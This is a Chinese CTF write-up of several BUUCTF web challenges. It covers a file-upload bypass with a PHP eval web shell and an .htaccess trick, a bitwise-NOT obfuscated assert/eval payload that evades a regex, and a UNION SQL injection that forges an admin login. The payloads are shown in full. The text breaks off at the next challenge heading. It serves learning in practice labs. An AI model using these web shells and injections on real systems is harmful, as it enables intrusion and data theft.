这个时候haha.gif就已经包含在index.php,可以访问

1
http://9c7a4b64-1c49-4ee4-a146-dc6763b5ce1c.node4.buuoj.cn:81/uploads/c47b21fcf8f0bc8b3920541abd8024fd/index.php

能看到GIF98a?

然后也可以用hackbar,post上传命令,如图中的phpinfo()

image-20220825215617387

1
cmd=var_dump(scandir("/"));//看看根目录,找到flag

image-20220825220933577

1
cmd=var_dump(file_get_contents("/flag"));//读取flag文件

image-20220825221229971


当然用蚁剑最简单,连接也成功

image-20220825214728996

可以看到index.php文件也在上传的目录下,也就是.user.ini的同一个目录下,所以才可以成功包含

image-20220825215454619

在根目录发现了flag,打开即可得到flag


但我发现根目录一个clean.sh文件,这是一个定时清空linux服务器上缓存的文件脚本,上传的文件会被定时删除

image-20220825215047906

这是一分钟左右后,靶场环境还在但是无法访问了,所以要快点拿取flag

image-20220825215220524

这里本来想删掉clean.sh,发现没权限,无法执行,sudo也不行,那就只能速战速决了

image-20220825220024393

根目录得到flag

10.[GXYCTF2019]BabyUpload

1)题目描述

2)wp

这道题不难,但是开始不清楚还是不知道过滤了什么,

这道题介绍几个点就可以了

第一个是过滤了后缀名含ph

第二也是关键的,它只允许上传content-type: image/jpeg,png和gif都不可以

第三点就是它过滤了文件内容里含<?

所以上传一个jpeg文件,抓包修改内容为非php但包含php的一个脚本,

1
<script language="php">@eval($_POST["cmd"]);</script>

再上传.htaccess文件,解析所有文件为php

用蚁剑连接jpeg文件,即可

11.[极客大挑战 2019]RCE ME

1)题目描述

2)wp

先对代码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
error_reporting(0);
if(isset($_GET['code'])){
$code=$_GET['code'];
if(strlen($code)>40){
die("This is too Long.");
}
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("NO.");
}
@eval($code);
}
else{
highlight_file(__FILE__);
}

// ?>

可以看到code被正则匹配,所以字母大小写和数字都不能输入

这里就学到新东西了

取反绕过

取反就是将数字转化为二进制,再把二进制中的1变成0,0变成1

~是取反符号,

1
2
3
4
5
6
7
8
9
10
<?php
echo urlencode(~'assert');
echo urlencode(~'eval($_REQUEST[8])');
?>

结果:
%9E%8C%8C%9A%8D%8B
%9A%89%9E%93%D7%DB%A0%AD%BA%AE%AA%BA%AC%AB%A4%C7%A2%D6

//php断言:assert — 检查一个断言是否为 false,如果参数是字符串,它将会被 assert() 当做 PHP 代码来执行

然后再赋值

1
2
3
4
5
6
7
8
9
10
?code=(~%9E%8C%8C%9A%8D%8B)(~%9A%89%9E%93%D7%DB%A0%AD%BA%AE%AA%BA%AC%AB%A4%C7%A2%D6);

//注意后面要有;,代表php代码结束
//这里~是取反,之前urlencode里取反了一次,赋值时再取反一次,相当于没有取反

等同于

?code=(assert)(eval($_REQUEST[8]));

(assert)因为是assert是函数,被当作函数执行,于是因为断言(eval($_REQUEST[8])),所以把eval($_REQUEST[8])当作php执行,于是就可以拿到shell了
1
2
蚁剑连接
http://url?code=(~%9E%8C%8C%9A%8D%8B)(~%9A%89%9E%93%D7%DB%A0%AD%BA%AE%AA%BA%AC%AB%A4%C7%A2%D6);

但是发现flag是空的

image-20220903181221552

看了其他大佬的wp才知道,需要蚁剑插件disable_functions,禁止网站的函数,防止其阻止读取flag

image-20220903181348649

再在主页右键

image-20220903181431745

模式选择

image-20220903181451266

然后点击开始

终端输入

/readflag

image-20220903181528195

得到flag

12.[GXYCTF2019]BabySQli

1)题目描述

2)wp

开始是一个登录框

image-20220909203922998

我们随便输入一个账号密码

1
2
账号:admin
密码:123456

image-20220909204018695

报错,看来用户名没错,密码错误

查看源码看看

image-20220909204046072

发现有一串加密字符,看起来像base

先用base32

image-20220909204202994

看起来就是base32+base64混合编码,再用base64

image-20220909204325138


当然看不出来,直接无脑ciphey,也可以,当然还是需要了解不同编码和加密字符的特点

image-20220909204746167

也可以得到解码结果


1
select * from user where username = '$name'

可知,sql注入点在Username处,且为单引号闭合

于是我们尝构造注入

1
name=admin'%20and%201=1#&pw=123456

image-20220909205630033

发现有的字符被过滤了,我们可以用fuzz爆破测试看看,也可以一个一个试

我这里先爆破试试(建议爆破还是慢一些,后面直接太多请求,服务器不发返回包了)

大概统计一下

1
2
3
or
()
=

所以我们只有先试试联合注入

1
2
由于过滤了or
所以我们不能使用order by来判断列数,可以用联合注入,利用select的结果来判断

先试试select 1,2

1
name=admin'%20union%20select%201,2#&pw=123456

image-20220909214254664

发现报错,列数有问题

再试试select 1,2,3

1
name=admin'%20union%20select%201,2,3#&pw=123456

image-20220909214345515

发现虽然没有报错,但是也没有直接回显

再试试select 1,2,3,4

又报错

image-20220909214506605

所以得出列数一共有3列

根据经验这三列,分别是id,username,password

我们可以用以下语句进行确认

1
2
name=-1'%20union%20select%20”admin“,2,3#&pw=123456   
//把第一位,即1的位置换成用户名admin

image-20220910085003536

提示用户名错误,看来用户名不在第一位

1
2
name=-1'%20union%20select%201,"admin",3#&pw=123456
//把第二位,即2的位置换成用户名admin

image-20220910085115686

提示密码错误,看来用户名回显就在第二位

但是没有回显我们select的数据,可是如果用报错注入和盲注的话,()被过滤了,也不能用

所以我们只有考虑,怎么才可以登录上去

首先这是一个sql注入的题目,密码不可能简单的爆破就可以解决

密码肯定是进行加密,最常见的密码加密就是md5,所以我们利用md()函数把我们的密码加密,再加上我们的用户名一起导入到题目的数据库里,即可完成登录

注意因为()被过滤,所以只能先把密码进行md5加密,在导入,而不能直接用函数


这里又有一个新的知识点

在联合查询并不存在的数据时,联合查询就会构造一个虚拟的数据。【union select】

Web-study里写的详细

下面简单说一下流程

先把我们的密码123456利用md5加密

image-20220910090640990

1
e10adc3949ba59abbe56e057f20f883e

然后构造payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
name=-1'%20union%20select%201,"admin","e10adc3949ba59abbe56e057f20f883e"#&pw=123456

/*
联合注入的技巧,就是在使用union select时候,后面的数据如果不存在,就会生成一个虚拟的数据
如上面的

根据上面base编码结果,select * from user where username = '$name'

我们利用union select 1,"admin","e10adc3949ba59abbe56e057f20f883e"

因为user表里不存在id=1,username=admin,password=e10adc3949ba59abbe56e057f20f883e

所以会生成一个一个数据插入表中
*/
/*
当name参数进行sql注入,把数据插入user表中时
后面password只要和明文一样,即可登录成功
*/

image-20220910091405613

得到flag

13.[护网杯 2018]easy_tornado

1)题目描述

2)wp